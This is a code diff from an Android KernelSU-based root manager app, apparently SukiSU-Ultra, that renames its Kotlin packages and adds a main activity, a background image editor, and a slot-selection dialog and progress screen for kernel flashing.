val logMessage = line.removePrefix("ui_print").trim()
state.addLog(logMessage)
when {
logMessage.contains("extracting", ignoreCase = true) -> {
state.updateProgress(0.75f)
}
logMessage.contains("installing", ignoreCase = true) -> {
state.updateProgress(0.85f)
}
logMessage.contains("complete", ignoreCase = true) -> {
state.updateProgress(0.95f)
}
}
}
}
}
} finally {
process.destroy()
}
if (!File("${context.filesDir.absolutePath}/done").exists()) {
throw IOException(context.getString(R.string.flash_failed_message))
}
}
private fun runCommand(su: Boolean, cmd: String): Int {
val process = ProcessBuilder(if (su) "su" else "sh")
.redirectErrorStream(true)
.start()
return try {
process.outputStream.bufferedWriter().use { writer ->
writer.write("$cmd\n")
writer.write("exit\n")
writer.flush()
}
process.waitFor()
} finally {
process.destroy()
}
}
private fun runCommandGetOutput(su: Boolean, cmd: String): String {
val process = ProcessBuilder(if (su) "su" else "sh")
.redirectErrorStream(true)
.start()
return try {
process.outputStream.bufferedWriter().use { writer ->
writer.write("$cmd\n")
writer.write("exit\n")
writer.flush()
}
process.inputStream.bufferedReader().use { reader ->
reader.readText().trim()
}
} catch (_: Exception) {
""
} finally {
process.destroy()
}
}
private fun rootAvailable(): Boolean {
return try {
val process = Runtime.getRuntime().exec("su -c id")
val exitValue = process.waitFor()
exitValue == 0
} catch (_: Exception) {
false
}
}
}
@Composable
fun HorizonKernelFlashProgress(state: FlashState) {
Card(
modifier = Modifier
.fillMaxWidth()
.padding(16.dp),
colors = CardDefaults.cardColors(
containerColor = MaterialTheme.colorScheme.surfaceVariant
)
) {
Column(
modifier = Modifier
.fillMaxWidth()
.padding(16.dp),
horizontalAlignment = Alignment.CenterHorizontally
) {
Text(
text = stringResource(id = R.string.horizon_flash_title),
style = MaterialTheme.typography.titleMedium,
modifier = Modifier.padding(bottom = 8.dp)
)
LinearProgressIndicator(
modifier = Modifier
.fillMaxWidth()
.padding(vertical = 8.dp),
progress = { state.progress },
)
Text(
text = state.currentStep,
style = MaterialTheme.typography.bodyMedium,
modifier = Modifier.padding(vertical = 4.dp)
)
if (state.logs.isNotEmpty()) {
Text(
text = stringResource(id = R.string.horizon_logs_label),
style = MaterialTheme.typography.labelMedium,
modifier = Modifier
.align(Alignment.Start)
.padding(top = 8.dp, bottom = 4.dp)
)
Surface(
modifier = Modifier
.fillMaxWidth()
.heightIn(max = 150.dp)
.padding(vertical = 4.dp),
color = MaterialTheme.colorScheme.surface,
tonalElevation = 1.dp,
shape = MaterialTheme.shapes.small
) {
Column(
modifier = Modifier
.fillMaxWidth()
.padding(8.dp)
.verticalScroll(rememberScrollState())
) {
state.logs.forEach { log ->
Text(
text = log,
style = MaterialTheme.typography.bodySmall,
modifier = Modifier.padding(vertical = 2.dp),
overflow = TextOverflow.Ellipsis,
maxLines = 1
)
}
}
}
}
if (state.error.isNotEmpty()) {
Row(
verticalAlignment = Alignment.CenterVertically,
modifier = Modifier
.fillMaxWidth()
.padding(top = 8.dp)
) {
Icon(
imageVector = Icons.Default.Error,
contentDescription = null,
tint = MaterialTheme.colorScheme.error,
modifier = Modifier.padding(end = 8.dp)
)
Text(
text = state.error,
style = MaterialTheme.typography.bodyMedium,
color = MaterialTheme.colorScheme.error
)
}
} else if (state.isCompleted) {
Row(
verticalAlignment = Alignment.CenterVertically,
modifier = Modifier
.fillMaxWidth()
.padding(top = 8.dp)
) {
Icon(
imageVector = Icons.Default.CheckCircle,
contentDescription = null,
tint = MaterialTheme.colorScheme.primary,
modifier = Modifier.padding(end = 8.dp)
)
Text(
text = stringResource(id = R.string.horizon_flash_complete),
style = MaterialTheme.typography.bodyMedium,
color = MaterialTheme.colorScheme.primary
)
}
}
}
}
}

View File

@@ -1,4 +1,4 @@
package shirkneko.zako.sukisu.profile package com.sukisu.ultra.profile
/** /**
* @author weishu * @author weishu

View File

@@ -1,4 +1,4 @@
package shirkneko.zako.sukisu.profile package com.sukisu.ultra.profile
/** /**
* https://cs.android.com/android/platform/superproject/main/+/main:system/core/libcutils/include/private/android_filesystem_config.h * https://cs.android.com/android/platform/superproject/main/+/main:system/core/libcutils/include/private/android_filesystem_config.h

View File

@@ -1,4 +1,4 @@
package shirkneko.zako.sukisu.ui; package com.sukisu.ultra.ui;
import android.content.Context; import android.content.Context;
import android.content.Intent; import android.content.Intent;
@@ -17,7 +17,7 @@ import java.lang.reflect.Method;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.List; import java.util.List;
import shirkneko.zako.sukisu.IKsuInterface; import com.sukisu.zako.IKsuInterface;
import rikka.parcelablelist.ParcelableListSlice; import rikka.parcelablelist.ParcelableListSlice;
/** /**

View File

@@ -0,0 +1,168 @@
package com.sukisu.ultra.ui
import android.os.Build
import android.os.Bundle
import androidx.activity.ComponentActivity
import androidx.activity.compose.setContent
import androidx.activity.enableEdgeToEdge
import androidx.compose.animation.*
import androidx.compose.animation.core.tween
import androidx.compose.animation.fadeIn
import androidx.compose.animation.fadeOut
import androidx.compose.foundation.layout.*
import androidx.compose.material3.*
import androidx.compose.runtime.*
import androidx.compose.ui.Modifier
import androidx.compose.ui.res.stringResource
import androidx.navigation.NavBackStackEntry
import androidx.navigation.NavHostController
import androidx.navigation.compose.rememberNavController
import com.ramcosta.composedestinations.DestinationsNavHost
import com.ramcosta.composedestinations.animations.NavHostAnimatedDestinationStyle
import com.ramcosta.composedestinations.generated.NavGraphs
import com.ramcosta.composedestinations.spec.NavHostGraphSpec
import com.ramcosta.composedestinations.spec.RouteOrDirection
import com.ramcosta.composedestinations.utils.isRouteOnBackStackAsState
import com.ramcosta.composedestinations.utils.rememberDestinationsNavigator
import io.sukisu.ultra.UltraToolInstall
import com.sukisu.ultra.Natives
import com.sukisu.ultra.ksuApp
import com.sukisu.ultra.ui.screen.BottomBarDestination
import com.sukisu.ultra.ui.theme.*
import com.sukisu.ultra.ui.util.*
class MainActivity : ComponentActivity() {
override fun onCreate(savedInstanceState: Bundle?) {
// Enable edge to edge
enableEdgeToEdge()
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q) {
window.isNavigationBarContrastEnforced = false
}
super.onCreate(savedInstanceState)
// 加载保存的背景设置
loadCustomBackground()
loadThemeMode()
CardConfig.load(applicationContext)
val isManager = Natives.becomeManager(ksuApp.packageName)
if (isManager) {
install()
UltraToolInstall.tryToInstall()
}
setContent {
KernelSUTheme {
val navController = rememberNavController()
val snackBarHostState = remember { SnackbarHostState() }
Scaffold(
bottomBar = { BottomBar(navController) },
contentWindowInsets = WindowInsets(0, 0, 0, 0)
) { innerPadding ->
CompositionLocalProvider(
LocalSnackbarHost provides snackBarHostState,
) {
DestinationsNavHost(
modifier = Modifier.padding(innerPadding),
navGraph = NavGraphs.root as NavHostGraphSpec,
navController = navController,
defaultTransitions = object : NavHostAnimatedDestinationStyle() {
override val enterTransition: AnimatedContentTransitionScope<NavBackStackEntry>.() -> EnterTransition
get() = { fadeIn(animationSpec = tween(340)) }
override val exitTransition: AnimatedContentTransitionScope<NavBackStackEntry>.() -> ExitTransition
get() = { fadeOut(animationSpec = tween(340)) }
}
)
}
}
}
}
}
}
@Composable
private fun BottomBar(navController: NavHostController) {
val navigator = navController.rememberDestinationsNavigator()
val isManager = Natives.becomeManager(ksuApp.packageName)
val fullFeatured = isManager && !Natives.requireNewKernel() && rootAvailable()
val kpmVersion = getKpmVersion()
// 获取卡片颜色和透明度
val cardColor = MaterialTheme.colorScheme.secondaryContainer
val cardAlpha = CardConfig.cardAlpha
val cardElevation = CardConfig.cardElevation
NavigationBar(
tonalElevation = cardElevation, // 动态设置阴影
containerColor = cardColor.copy(alpha = cardAlpha),
windowInsets = WindowInsets.systemBars.union(WindowInsets.displayCutout).only(
WindowInsetsSides.Horizontal + WindowInsetsSides.Bottom
)
) {
BottomBarDestination.entries.forEach { destination ->
if (destination == BottomBarDestination.Kpm) {
if (kpmVersion.isNotEmpty() && !kpmVersion.startsWith("Error")) {
if (!fullFeatured && destination.rootRequired) return@forEach
val isCurrentDestOnBackStack by navController.isRouteOnBackStackAsState(destination.direction)
NavigationBarItem(
selected = isCurrentDestOnBackStack,
onClick = {
if (isCurrentDestOnBackStack) {
navigator.popBackStack(destination.direction, false)
}
navigator.navigate(destination.direction) {
popUpTo(NavGraphs.root as RouteOrDirection) {
saveState = true
}
launchSingleTop = true
restoreState = true
}
},
icon = {
if (isCurrentDestOnBackStack) {
Icon(destination.iconSelected, stringResource(destination.label))
} else {
Icon(destination.iconNotSelected, stringResource(destination.label))
}
},
label = { Text(stringResource(destination.label)) },
alwaysShowLabel = false,
colors = NavigationBarItemDefaults.colors(
unselectedTextColor = MaterialTheme.colorScheme.onSurfaceVariant
)
)
}
} else {
if (!fullFeatured && destination.rootRequired) return@forEach
val isCurrentDestOnBackStack by navController.isRouteOnBackStackAsState(destination.direction)
NavigationBarItem(
selected = isCurrentDestOnBackStack,
onClick = {
if (isCurrentDestOnBackStack) {
navigator.popBackStack(destination.direction, false)
}
navigator.navigate(destination.direction) {
popUpTo(NavGraphs.root as RouteOrDirection) {
saveState = true
}
launchSingleTop = true
restoreState = true
}
},
icon = {
if (isCurrentDestOnBackStack) {
Icon(destination.iconSelected, stringResource(destination.label))
} else {
Icon(destination.iconNotSelected, stringResource(destination.label))
}
},
label = { Text(stringResource(destination.label)) },
alwaysShowLabel = false,
)
}
}
}
}

View File

@@ -1,4 +1,4 @@
package shirkneko.zako.sukisu.ui.component package com.sukisu.ultra.ui.component
import androidx.compose.foundation.Image import androidx.compose.foundation.Image
import androidx.compose.foundation.layout.Column import androidx.compose.foundation.layout.Column
@@ -31,8 +31,8 @@ import androidx.compose.ui.tooling.preview.Preview
import androidx.compose.ui.unit.dp import androidx.compose.ui.unit.dp
import androidx.compose.ui.unit.sp import androidx.compose.ui.unit.sp
import androidx.compose.ui.window.Dialog import androidx.compose.ui.window.Dialog
import shirkneko.zako.sukisu.BuildConfig import com.sukisu.ultra.BuildConfig
import shirkneko.zako.sukisu.R import com.sukisu.ultra.R
@Preview @Preview
@Composable @Composable
@@ -98,7 +98,7 @@ private fun AboutCardContent() {
val annotatedString = AnnotatedString.Companion.fromHtml( val annotatedString = AnnotatedString.Companion.fromHtml(
htmlString = stringResource( htmlString = stringResource(
id = R.string.about_source_code, id = R.string.about_source_code,
"<b><a href=\"https://github.com/ShirkNeko/KernelSU\">GitHub</a></b>", "<b><a href=\"https://github.com/ShirkNeko/SukiSU-Ultra\">GitHub</a></b>",
"<b><a href=\"https://t.me/SukiKSU\">Telegram</a></b>" "<b><a href=\"https://t.me/SukiKSU\">Telegram</a></b>"
), ),
linkStyles = TextLinkStyles( linkStyles = TextLinkStyles(

View File

@@ -1,4 +1,4 @@
package shirkneko.zako.sukisu.ui.component package com.sukisu.ultra.ui.component
import android.graphics.text.LineBreaker import android.graphics.text.LineBreaker
import android.os.Build import android.os.Build

View File

@@ -0,0 +1,224 @@
package com.sukisu.ultra.ui.component
import android.net.Uri
import androidx.compose.animation.core.animateFloatAsState
import androidx.compose.foundation.background
import androidx.compose.foundation.gestures.detectTransformGestures
import androidx.compose.foundation.layout.*
import androidx.compose.foundation.shape.RoundedCornerShape
import androidx.compose.material.icons.Icons
import androidx.compose.material.icons.filled.Check
import androidx.compose.material.icons.filled.Close
import androidx.compose.material.icons.filled.Fullscreen
import androidx.compose.material3.*
import androidx.compose.runtime.*
import androidx.compose.ui.Alignment
import androidx.compose.ui.Modifier
import androidx.compose.ui.draw.clip
import androidx.compose.ui.graphics.Color
import androidx.compose.ui.graphics.graphicsLayer
import androidx.compose.ui.input.pointer.pointerInput
import androidx.compose.ui.layout.ContentScale
import androidx.compose.ui.platform.LocalContext
import androidx.compose.ui.platform.LocalDensity
import androidx.compose.ui.res.stringResource
import androidx.compose.ui.unit.dp
import androidx.compose.ui.window.Dialog
import androidx.compose.ui.window.DialogProperties
import coil.compose.AsyncImage
import coil.request.ImageRequest
import com.sukisu.ultra.R
import com.sukisu.ultra.ui.util.BackgroundTransformation
import com.sukisu.ultra.ui.util.saveTransformedBackground
import kotlinx.coroutines.launch
import androidx.compose.runtime.remember
import androidx.compose.runtime.rememberCoroutineScope
import androidx.compose.ui.geometry.Size
import androidx.compose.ui.layout.onSizeChanged
import kotlin.math.max
@Composable
fun ImageEditorDialog(
imageUri: Uri,
onDismiss: () -> Unit,
onConfirm: (Uri) -> Unit
) {
var scale by remember { mutableFloatStateOf(1f) }
var offsetX by remember { mutableFloatStateOf(0f) }
var offsetY by remember { mutableFloatStateOf(0f) }
val context = LocalContext.current
val scope = rememberCoroutineScope()
val density = LocalDensity.current
var lastScale by remember { mutableFloatStateOf(1f) }
var lastOffsetX by remember { mutableFloatStateOf(0f) }
var lastOffsetY by remember { mutableFloatStateOf(0f) }
var imageSize by remember { mutableStateOf(Size.Zero) }
var screenSize by remember { mutableStateOf(Size.Zero) }
val animatedScale by animateFloatAsState(
targetValue = scale,
label = "ScaleAnimation"
)
val animatedOffsetX by animateFloatAsState(
targetValue = offsetX,
label = "OffsetXAnimation"
)
val animatedOffsetY by animateFloatAsState(
targetValue = offsetY,
label = "OffsetYAnimation"
)
val updateTransformation = remember {
{ newScale: Float, newOffsetX: Float, newOffsetY: Float ->
val scaleDiff = kotlin.math.abs(newScale - lastScale)
val offsetXDiff = kotlin.math.abs(newOffsetX - lastOffsetX)
val offsetYDiff = kotlin.math.abs(newOffsetY - lastOffsetY)
if (scaleDiff > 0.01f || offsetXDiff > 1f || offsetYDiff > 1f) {
scale = newScale
offsetX = newOffsetX
offsetY = newOffsetY
lastScale = newScale
lastOffsetX = newOffsetX
lastOffsetY = newOffsetY
}
}
}
val scaleToFullScreen = remember {
{
if (imageSize.height > 0 && screenSize.height > 0) {
val newScale = screenSize.height / imageSize.height
updateTransformation(newScale, 0f, 0f)
}
}
}
Dialog(
onDismissRequest = onDismiss,
properties = DialogProperties(
dismissOnBackPress = true,
dismissOnClickOutside = false,
usePlatformDefaultWidth = false
)
) {
Box(
modifier = Modifier
.fillMaxSize()
.background(Color.Black.copy(alpha = 0.9f))
.onSizeChanged { size ->
screenSize = Size(size.width.toFloat(), size.height.toFloat())
}
) {
AsyncImage(
model = ImageRequest.Builder(LocalContext.current)
.data(imageUri)
.crossfade(true)
.build(),
contentDescription = stringResource(R.string.settings_custom_background),
contentScale = ContentScale.Fit,
modifier = Modifier
.fillMaxSize()
.graphicsLayer(
scaleX = animatedScale,
scaleY = animatedScale,
translationX = animatedOffsetX,
translationY = animatedOffsetY
)
.pointerInput(Unit) {
detectTransformGestures { _, pan, zoom, _ ->
scope.launch {
try {
val newScale = (scale * zoom).coerceIn(0.5f, 3f)
val maxOffsetX = max(0f, size.width * (newScale - 1) / 2)
val maxOffsetY = max(0f, size.height * (newScale - 1) / 2)
val newOffsetX = if (maxOffsetX > 0) {
(offsetX + pan.x).coerceIn(-maxOffsetX, maxOffsetX)
} else {
0f
}
val newOffsetY = if (maxOffsetY > 0) {
(offsetY + pan.y).coerceIn(-maxOffsetY, maxOffsetY)
} else {
0f
}
updateTransformation(newScale, newOffsetX, newOffsetY)
} catch (e: Exception) {
updateTransformation(lastScale, lastOffsetX, lastOffsetY)
}
}
}
}
.onSizeChanged { size ->
imageSize = Size(size.width.toFloat(), size.height.toFloat())
}
)
Row(
modifier = Modifier
.fillMaxWidth()
.padding(16.dp)
.align(Alignment.TopCenter),
horizontalArrangement = Arrangement.SpaceBetween
) {
IconButton(
onClick = onDismiss,
modifier = Modifier
.clip(RoundedCornerShape(8.dp))
.background(Color.Black.copy(alpha = 0.6f))
) {
Icon(
imageVector = Icons.Default.Close,
contentDescription = stringResource(R.string.cancel),
tint = Color.White
)
}
IconButton(
onClick = { scaleToFullScreen() },
modifier = Modifier
.clip(RoundedCornerShape(8.dp))
.background(Color.Black.copy(alpha = 0.6f))
) {
Icon(
imageVector = Icons.Default.Fullscreen,
contentDescription = stringResource(R.string.reprovision),
tint = Color.White
)
}
IconButton(
onClick = {
scope.launch {
try {
val transformation = BackgroundTransformation(scale, offsetX, offsetY)
val savedUri = context.saveTransformedBackground(imageUri, transformation)
savedUri?.let { onConfirm(it) }
} catch (e: Exception) {
""
}
}
},
modifier = Modifier
.clip(RoundedCornerShape(8.dp))
.background(Color.Black.copy(alpha = 0.6f))
) {
Icon(
imageVector = Icons.Default.Check,
contentDescription = stringResource(R.string.confirm),
tint = Color.White
)
}
}
Box(
modifier = Modifier
.fillMaxWidth()
.padding(16.dp)
.clip(RoundedCornerShape(8.dp))
.background(Color.Black.copy(alpha = 0.6f))
.padding(16.dp)
.align(Alignment.BottomCenter)
) {
Text(
text = stringResource(id = R.string.image_editor_hint),
color = Color.White,
style = MaterialTheme.typography.bodyMedium
)
}
}
}
}

View File

@@ -1,4 +1,4 @@
package shirkneko.zako.sukisu.ui.component package com.sukisu.ultra.ui.component
import androidx.compose.foundation.focusable import androidx.compose.foundation.focusable
import androidx.compose.foundation.layout.Box import androidx.compose.foundation.layout.Box

View File

@@ -1,4 +1,4 @@
package shirkneko.zako.sukisu.ui.component package com.sukisu.ultra.ui.component
import android.util.Log import android.util.Log
import androidx.compose.animation.AnimatedVisibility import androidx.compose.animation.AnimatedVisibility
@@ -42,7 +42,7 @@ import androidx.compose.ui.platform.LocalSoftwareKeyboardController
import androidx.compose.ui.text.input.ImeAction import androidx.compose.ui.text.input.ImeAction
import androidx.compose.ui.tooling.preview.Preview import androidx.compose.ui.tooling.preview.Preview
import androidx.compose.ui.unit.dp import androidx.compose.ui.unit.dp
import shirkneko.zako.sukisu.ui.theme.CardConfig import com.sukisu.ultra.ui.theme.CardConfig
private const val TAG = "SearchBar" private const val TAG = "SearchBar"

View File

@@ -1,4 +1,4 @@
package shirkneko.zako.sukisu.ui.component package com.sukisu.ultra.ui.component
import androidx.compose.foundation.LocalIndication import androidx.compose.foundation.LocalIndication
import androidx.compose.foundation.interaction.MutableInteractionSource import androidx.compose.foundation.interaction.MutableInteractionSource

View File

@@ -0,0 +1,210 @@
package com.sukisu.ultra.ui.component
import android.content.Context
import androidx.compose.foundation.layout.*
import androidx.compose.material3.*
import androidx.compose.material3.HorizontalDivider
import androidx.compose.runtime.*
import androidx.compose.ui.Alignment
import androidx.compose.ui.Modifier
import androidx.compose.ui.platform.LocalContext
import androidx.compose.ui.res.stringResource
import androidx.compose.ui.text.style.TextAlign
import androidx.compose.ui.unit.dp
import androidx.compose.ui.window.Dialog
import com.sukisu.ultra.R
import com.sukisu.ultra.ui.theme.ThemeConfig
import com.sukisu.ultra.ui.theme.getCardElevation
import androidx.compose.foundation.shape.CornerSize
/**
* 槽位选择对话框组件
* 用于HorizonKernel刷写时选择目标槽位
*/
@OptIn(ExperimentalMaterial3Api::class)
@Composable
fun SlotSelectionDialog(
show: Boolean,
onDismiss: () -> Unit,
onSlotSelected: (String) -> Unit
) {
val context = LocalContext.current
var currentSlot by remember { mutableStateOf<String?>(null) }
var errorMessage by remember { mutableStateOf<String?>(null) }
LaunchedEffect(Unit) {
try {
currentSlot = getCurrentSlot(context)
errorMessage = null
} catch (e: Exception) {
errorMessage = e.message
currentSlot = null
}
}
if (show) {
val backgroundColor = if (!ThemeConfig.useDynamicColor) {
ThemeConfig.currentTheme.ButtonContrast.copy(alpha = 1.0f)
} else {
MaterialTheme.colorScheme.secondaryContainer.copy(alpha = 1.0f)
}
Dialog(onDismissRequest = onDismiss) {
Card(
shape = MaterialTheme.shapes.medium.copy(
topStart = CornerSize(16.dp),
topEnd = CornerSize(16.dp),
bottomEnd = CornerSize(16.dp),
bottomStart = CornerSize(16.dp)
),
colors = CardDefaults.cardColors(
containerColor = backgroundColor
),
elevation = CardDefaults.cardElevation(defaultElevation = getCardElevation())
) {
Column(
modifier = Modifier
.padding(24.dp)
.fillMaxWidth(),
horizontalAlignment = Alignment.CenterHorizontally
) {
Text(
text = stringResource(id = R.string.select_slot_title),
style = MaterialTheme.typography.headlineSmall,
textAlign = TextAlign.Center,
modifier = Modifier.padding(bottom = 16.dp)
)
if (errorMessage != null) {
Text(
text = "Error: $errorMessage",
style = MaterialTheme.typography.bodyMedium,
color = MaterialTheme.colorScheme.error,
textAlign = TextAlign.Center
)
} else {
Text(
text = stringResource(
id = R.string.current_slot,
currentSlot ?: "Unknown"
),
style = MaterialTheme.typography.bodyMedium,
color = MaterialTheme.colorScheme.onSurfaceVariant,
textAlign = TextAlign.Center
)
}
Spacer(modifier = Modifier.height(12.dp))
Text(
text = stringResource(id = R.string.select_slot_description),
style = MaterialTheme.typography.bodyMedium,
color = MaterialTheme.colorScheme.onSurfaceVariant,
textAlign = TextAlign.Center
)
Spacer(modifier = Modifier.height(24.dp))
Row(
modifier = Modifier.fillMaxWidth(),
horizontalArrangement = Arrangement.spacedBy(6.dp)
) {
val isDefaultSlotA = currentSlot == "_a" || currentSlot == "a"
Button(
onClick = { onSlotSelected("a") },
modifier = Modifier.weight(1f),
colors = ButtonDefaults.buttonColors(
containerColor = if (isDefaultSlotA)
MaterialTheme.colorScheme.primary
else
MaterialTheme.colorScheme.primaryContainer,
contentColor = if (isDefaultSlotA)
MaterialTheme.colorScheme.onPrimary
else
MaterialTheme.colorScheme.onPrimaryContainer
)
) {
Text(
text = stringResource(id = R.string.slot_a),
style = MaterialTheme.typography.labelLarge
)
}
val isDefaultSlotB = currentSlot == "_b" || currentSlot == "b"
Button(
onClick = { onSlotSelected("b") },
modifier = Modifier.weight(1f),
colors = ButtonDefaults.buttonColors(
containerColor = if (isDefaultSlotB)
MaterialTheme.colorScheme.secondary
else
MaterialTheme.colorScheme.secondaryContainer,
contentColor = if (isDefaultSlotB)
MaterialTheme.colorScheme.onSecondary
else
MaterialTheme.colorScheme.onSecondaryContainer
)
) {
Text(
text = stringResource(id = R.string.slot_b),
style = MaterialTheme.typography.labelLarge
)
}
}
Spacer(modifier = Modifier.height(24.dp))
HorizontalDivider(
modifier = Modifier.fillMaxWidth(),
thickness = 1.dp,
color = MaterialTheme.colorScheme.outline
)
Row(
modifier = Modifier.fillMaxWidth(),
horizontalArrangement = Arrangement.SpaceBetween
) {
TextButton(
onClick = onDismiss,
modifier = Modifier.weight(1f)
) {
Text(text = stringResource(id = android.R.string.cancel))
}
TextButton(
onClick = {
currentSlot?.let { onSlotSelected(it) }
onDismiss()
},
modifier = Modifier.weight(1f)
) {
Text(text = stringResource(id = android.R.string.ok))
}
}
}
}
}
}
}
// 获取当前槽位信息
private fun getCurrentSlot(context: Context): String? {
return runCommandGetOutput(true, "getprop ro.boot.slot_suffix")?.let {
if (it.startsWith("_")) it.substring(1) else it
}
}
private fun runCommandGetOutput(su: Boolean, cmd: String): String? {
return try {
val process = ProcessBuilder(if (su) "su" else "sh").start()
process.outputStream.bufferedWriter().use { writer ->
writer.write("$cmd\n")
writer.write("exit\n")
writer.flush()
}
process.inputStream.bufferedReader().use { reader ->
reader.readText().trim()
}
} catch (_: Exception) {
null
}
}

View File

@@ -1,4 +1,4 @@
package shirkneko.zako.sukisu.ui.component package com.sukisu.ultra.ui.component
import androidx.compose.material3.Icon import androidx.compose.material3.Icon
import androidx.compose.material3.ListItem import androidx.compose.material3.ListItem

View File

@@ -1,4 +1,4 @@
package shirkneko.zako.sukisu.ui.component.profile package com.sukisu.ultra.ui.component.profile
import androidx.compose.foundation.layout.Column import androidx.compose.foundation.layout.Column
import androidx.compose.material3.OutlinedTextField import androidx.compose.material3.OutlinedTextField
@@ -11,9 +11,9 @@ import androidx.compose.runtime.setValue
import androidx.compose.ui.Modifier import androidx.compose.ui.Modifier
import androidx.compose.ui.res.stringResource import androidx.compose.ui.res.stringResource
import androidx.compose.ui.tooling.preview.Preview import androidx.compose.ui.tooling.preview.Preview
import shirkneko.zako.sukisu.Natives import com.sukisu.ultra.Natives
import shirkneko.zako.sukisu.R import com.sukisu.ultra.R
import shirkneko.zako.sukisu.ui.component.SwitchItem import com.sukisu.ultra.ui.component.SwitchItem
@Composable @Composable
fun AppProfileConfig( fun AppProfileConfig(

View File

@@ -1,4 +1,4 @@
package shirkneko.zako.sukisu.ui.component.profile package com.sukisu.ultra.ui.component.profile
import androidx.compose.foundation.clickable import androidx.compose.foundation.clickable
import androidx.compose.foundation.layout.Column import androidx.compose.foundation.layout.Column
@@ -42,12 +42,12 @@ import com.maxkeppeler.sheets.input.models.ValidationResult
import com.maxkeppeler.sheets.list.ListDialog import com.maxkeppeler.sheets.list.ListDialog
import com.maxkeppeler.sheets.list.models.ListOption import com.maxkeppeler.sheets.list.models.ListOption
import com.maxkeppeler.sheets.list.models.ListSelection import com.maxkeppeler.sheets.list.models.ListSelection
import shirkneko.zako.sukisu.Natives import com.sukisu.ultra.Natives
import shirkneko.zako.sukisu.R import com.sukisu.ultra.R
import shirkneko.zako.sukisu.profile.Capabilities import com.sukisu.ultra.profile.Capabilities
import shirkneko.zako.sukisu.profile.Groups import com.sukisu.ultra.profile.Groups
import shirkneko.zako.sukisu.ui.component.rememberCustomDialog import com.sukisu.ultra.ui.component.rememberCustomDialog
import shirkneko.zako.sukisu.ui.util.isSepolicyValid import com.sukisu.ultra.ui.util.isSepolicyValid
@OptIn(ExperimentalMaterial3Api::class) @OptIn(ExperimentalMaterial3Api::class)
@Composable @Composable

View File

@@ -1,4 +1,4 @@
package shirkneko.zako.sukisu.ui.component.profile package com.sukisu.ultra.ui.component.profile
import androidx.compose.foundation.layout.fillMaxWidth import androidx.compose.foundation.layout.fillMaxWidth
import androidx.compose.material.icons.Icons import androidx.compose.material.icons.Icons
@@ -23,11 +23,11 @@ import androidx.compose.runtime.saveable.rememberSaveable
import androidx.compose.runtime.setValue import androidx.compose.runtime.setValue
import androidx.compose.ui.Modifier import androidx.compose.ui.Modifier
import androidx.compose.ui.res.stringResource import androidx.compose.ui.res.stringResource
import shirkneko.zako.sukisu.Natives import com.sukisu.ultra.Natives
import shirkneko.zako.sukisu.R import com.sukisu.ultra.R
import shirkneko.zako.sukisu.ui.util.listAppProfileTemplates import com.sukisu.ultra.ui.util.listAppProfileTemplates
import shirkneko.zako.sukisu.ui.util.setSepolicy import com.sukisu.ultra.ui.util.setSepolicy
import shirkneko.zako.sukisu.ui.viewmodel.getTemplateInfoById import com.sukisu.ultra.ui.viewmodel.getTemplateInfoById
/** /**
* @author weishu * @author weishu

View File

@@ -1,4 +1,4 @@
package shirkneko.zako.sukisu.ui.screen package com.sukisu.ultra.ui.screen
import androidx.annotation.StringRes import androidx.annotation.StringRes
import androidx.compose.animation.Crossfade import androidx.compose.animation.Crossfade
@@ -64,20 +64,20 @@ import com.ramcosta.composedestinations.generated.destinations.AppProfileTemplat
import com.ramcosta.composedestinations.generated.destinations.TemplateEditorScreenDestination import com.ramcosta.composedestinations.generated.destinations.TemplateEditorScreenDestination
import com.ramcosta.composedestinations.navigation.DestinationsNavigator import com.ramcosta.composedestinations.navigation.DestinationsNavigator
import kotlinx.coroutines.launch import kotlinx.coroutines.launch
import shirkneko.zako.sukisu.Natives import com.sukisu.ultra.Natives
import shirkneko.zako.sukisu.R import com.sukisu.ultra.R
import shirkneko.zako.sukisu.ui.component.SwitchItem import com.sukisu.ultra.ui.component.SwitchItem
import shirkneko.zako.sukisu.ui.component.profile.AppProfileConfig import com.sukisu.ultra.ui.component.profile.AppProfileConfig
import shirkneko.zako.sukisu.ui.component.profile.RootProfileConfig import com.sukisu.ultra.ui.component.profile.RootProfileConfig
import shirkneko.zako.sukisu.ui.component.profile.TemplateConfig import com.sukisu.ultra.ui.component.profile.TemplateConfig
import shirkneko.zako.sukisu.ui.util.LocalSnackbarHost import com.sukisu.ultra.ui.util.LocalSnackbarHost
import shirkneko.zako.sukisu.ui.util.forceStopApp import com.sukisu.ultra.ui.util.forceStopApp
import shirkneko.zako.sukisu.ui.util.getSepolicy import com.sukisu.ultra.ui.util.getSepolicy
import shirkneko.zako.sukisu.ui.util.launchApp import com.sukisu.ultra.ui.util.launchApp
import shirkneko.zako.sukisu.ui.util.restartApp import com.sukisu.ultra.ui.util.restartApp
import shirkneko.zako.sukisu.ui.util.setSepolicy import com.sukisu.ultra.ui.util.setSepolicy
import shirkneko.zako.sukisu.ui.viewmodel.SuperUserViewModel import com.sukisu.ultra.ui.viewmodel.SuperUserViewModel
import shirkneko.zako.sukisu.ui.viewmodel.getTemplateInfoById import com.sukisu.ultra.ui.viewmodel.getTemplateInfoById
/** /**
* @author weishu * @author weishu

View File

@@ -1,4 +1,4 @@
package shirkneko.zako.sukisu.ui.screen package com.sukisu.ultra.ui.screen
import androidx.annotation.StringRes import androidx.annotation.StringRes
import androidx.compose.material.icons.Icons import androidx.compose.material.icons.Icons
@@ -11,7 +11,7 @@ import com.ramcosta.composedestinations.generated.destinations.SuperUserScreenDe
import com.ramcosta.composedestinations.generated.destinations.SettingScreenDestination import com.ramcosta.composedestinations.generated.destinations.SettingScreenDestination
import com.ramcosta.composedestinations.generated.destinations.KpmScreenDestination import com.ramcosta.composedestinations.generated.destinations.KpmScreenDestination
import com.ramcosta.composedestinations.spec.DirectionDestinationSpec import com.ramcosta.composedestinations.spec.DirectionDestinationSpec
import shirkneko.zako.sukisu.R import com.sukisu.ultra.R
enum class BottomBarDestination( enum class BottomBarDestination(
val direction: DirectionDestinationSpec, val direction: DirectionDestinationSpec,
@@ -21,8 +21,8 @@ enum class BottomBarDestination(
val rootRequired: Boolean, val rootRequired: Boolean,
) { ) {
Home(HomeScreenDestination, R.string.home, Icons.Filled.Home, Icons.Outlined.Home, false), Home(HomeScreenDestination, R.string.home, Icons.Filled.Home, Icons.Outlined.Home, false),
Kpm(KpmScreenDestination, R.string.kpm_title, Icons.Filled.Build, Icons.Outlined.Build, true),
